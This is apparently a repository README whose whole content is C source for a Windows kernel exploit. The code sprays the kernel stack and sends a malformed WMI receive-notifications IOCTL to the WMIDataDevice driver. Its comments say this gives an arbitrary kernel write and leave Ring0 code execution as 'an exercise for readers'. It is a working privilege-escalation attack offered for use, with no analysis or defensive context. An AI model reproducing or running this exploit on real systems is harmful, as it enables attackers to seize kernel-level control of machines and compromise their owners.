README.md
Rendering markdown...
// with this code we can write custom data to custom address in kernel
// getting Ring0 code execution in this situation is so simple , exercise for readers
#include <windows.h>
#include <winioctl.h>
typedef union {
HANDLE Handle;
ULONG64 Handle64;
ULONG32 Handle32;
}
HANDLE3264, * PHANDLE3264;
typedef struct {
//
// List of guid notification handles
//
ULONG HandleCount;
ULONG Action;
HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
HANDLE3264 UserModeProcess;
HANDLE3264 Handles[20];
}
WMIRECEIVENOTIFICATION, * PWMIRECEIVENOTIFICATION;
#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
typedef struct {
IN VOID * ObjectAttributes;
IN ACCESS_MASK DesiredAccess;
OUT HANDLE3264 Handle;
}
WMIOPENGUIDBLOCK, * PWMIOPENGUIDBLOCK;
#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
extern "C" ULONG STDCALL
NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
VOID SprayKernelStack() {
BYTE buffer[4096];
memset(buffer, 'B', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
}
int main() {
DWORD dwBytesReturned;
HANDLE threadhandle;
WMIRECEIVENOTIFICATION buffer;
CHAR OutPut[1000];
memset( &buffer, '\x41', sizeof(buffer)); // set ecx to 0x41414141
buffer.HandleCount = 0;
buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
buffer.UserModeProcess.Handle = GetCurrentProcess();
HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver != INVALID_HANDLE_VALUE) {
while (TRUE) {
SprayKernelStack();
if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
return 1;
}
}
}
return 0;
}